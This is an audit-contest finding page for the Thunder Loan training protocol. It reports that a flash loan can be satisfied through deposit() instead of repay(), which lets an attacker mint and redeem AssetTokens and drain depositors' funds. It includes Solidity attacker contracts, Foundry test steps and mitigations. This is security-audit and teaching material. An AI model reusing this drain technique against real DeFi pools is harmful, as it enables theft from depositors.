Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loan can be "repaid" via deposit(), letting an attacker steal pool funds

Root + Impact

Description

A flash loan must be repaid via repay(), which returns the borrowed funds to the pool. The flashloan() function verifies repayment by checking the assetToken's balance increased by amount + fee. The problem is that deposit() ALSO increases the assetToken's balance, so an attacker can satisfy the repayment check by calling deposit() instead of repay() inside the flash loan callback. But deposit() mints AssetTokens to the attacker, giving them a redeemable claim on the pool. After the flash loan completes, the attacker calls redeem() and withdraws the funds — effectively stealing the borrowed amount from depositors.

// flashloan() checks repayment only by balance:
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) { revert; } // @> deposit() also satisfies this
// deposit() increases the same balance AND mints AssetTokens to the caller:
assetToken.mint(msg.sender, mintAmount); // @> attacker gets redeemable claim
token.safeTransferFrom(msg.sender, address(assetToken), amount);

Risk

Likelihood:

  • Any attacker can call flashloan and, in the executeOperation callback, call deposit instead of repay.

  • No mechanism prevents deposit from being used to satisfy the repayment check.

Impact:

  • The attacker withdraws the borrowed funds via redeem after the loan, stealing them from depositors.

  • In the PoC the attacker enters with 0.3 tokens (the fee) and leaves with ~100 tokens taken from the pool.

Proof of Concept

The attacker's callback deposits amount+fee (satisfying the balance check and minting AssetTokens to itself), then redeems after the loan. Attacker balance goes from 0.3 to ~100.3 tokens.

function executeOperation(address _token, uint256 amount, uint256 fee, address, bytes calldata)
external returns (bool)
{
assetToken = thunderLoan.getAssetFromToken(IERC20(_token));
IERC20(_token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(_token), amount + fee); // deposit instead of repay
return true;
}
function attack(uint256 amount) external {
thunderLoan.flashloan(address(this), token, amount, "");
thunderLoan.redeem(token, type(uint256).max); // withdraw the stolen funds
}
// Attacker: 0.3 tokens -> 100.3 tokens

Recommended Mitigation

Prevent deposit() from being used during an active flash loan, and/or track repayment explicitly rather than via raw balance. For example, block deposits for a token while s_currentlyFlashLoaning[token] is true, or require repayment through repay() only (record the expected repayment and verify it was made through the intended path).

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CantDepositDuringFlashLoan();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!